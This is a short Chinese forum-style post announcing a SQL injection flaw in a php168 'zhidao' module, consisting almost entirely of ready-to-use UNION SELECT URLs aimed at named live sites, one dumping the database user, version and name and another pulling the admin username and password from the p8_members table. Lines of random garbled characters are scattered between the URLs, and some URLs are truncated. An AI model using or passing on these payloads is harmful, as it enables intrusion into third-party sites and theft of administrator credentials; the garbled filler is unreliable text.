php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
- X& N5 Q# b& e( k1 n                                                         
- j" t% l, B9 {& J  D5 s9 v8 g                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
                                                     
7 q: e) m& k5 r7 w  D* W                                                                  
& I4 @; s, {2 m2 X/ Z                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
: u$ m/ s3 n7 }' `4 k. X! W  M
4 ?, R9 m8 p; F0 Y# A, E+ e

6 h  N6 `: ^+ q# O. T; h                                                            

! w, a, k: \% X  n2 R* Fhttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
" ~2 W$ i4 a/ h/ H! c